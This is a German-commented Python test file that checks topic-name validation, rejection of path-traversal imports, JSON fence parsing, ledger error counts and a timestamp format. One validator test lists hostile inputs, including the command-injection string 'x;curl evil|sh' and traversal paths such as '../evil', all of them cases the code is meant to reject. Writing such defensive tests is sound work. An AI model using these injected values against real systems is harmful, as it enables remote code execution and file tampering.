50 lines
1.7 KiB
Python
50 lines
1.7 KiB
Python
"""Sicherheit + Infra-Kleinkram: Topic-Namen-Validierung, jsonx-Fences,
|
|
Ledger-Timeouts, db.now-Format."""
|
|
|
|
import re
|
|
|
|
import config
|
|
import db
|
|
import jsonx
|
|
import ledger
|
|
import pytest
|
|
import transfer
|
|
from conftest import run_anlegen, topic_anlegen
|
|
|
|
|
|
def test_topic_name_ok():
|
|
assert config.topic_name_ok("aak")
|
|
assert config.topic_name_ok("algo-1_test")
|
|
assert config.topic_name_ok("Größe")
|
|
for boese in ("..", "a/b", "x;curl evil|sh", "-flag", "", "a.b", "../x", "a b", "a\tb"):
|
|
assert not config.topic_name_ok(boese), boese
|
|
|
|
|
|
def test_import_lehnt_boesen_topic_ab():
|
|
"""Manipulierter Export mit topic='../evil' → Abbruch vor rmtree, kein Eintrag."""
|
|
d = {"topic": "../evil", "topics": [{"name": "../evil"}]}
|
|
with pytest.raises(ValueError):
|
|
transfer.importieren(d)
|
|
assert not db.one("SELECT name FROM topics WHERE name=?", ("../evil",))
|
|
|
|
|
|
def test_jsonx_findet_json_im_zweiten_fence():
|
|
text = ("Beispiel:\n```python\nprint('hi')\n```\n"
|
|
"Antwort:\n```json\n[{\"a\": 1}]\n```")
|
|
assert jsonx.parse(text) == [{"a": 1}]
|
|
|
|
|
|
def test_ledger_timeouts_und_parse():
|
|
topic = topic_anlegen("led")
|
|
run = run_anlegen(topic)
|
|
ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "timeout"})
|
|
ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "HTTP 429"})
|
|
ledger.log_call(run, ebene="e", stage="s", status="parse", meta={"err": "kaputt"})
|
|
z = ledger.kennzahlen(run)[0]
|
|
assert z["timeouts"] == 1 # nur der echte Timeout
|
|
assert z["fehler"] == 3 # infra(2) + parse(1)
|
|
|
|
|
|
def test_db_now_ist_zeitstempel():
|
|
assert re.match(r"^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$", db.now())
|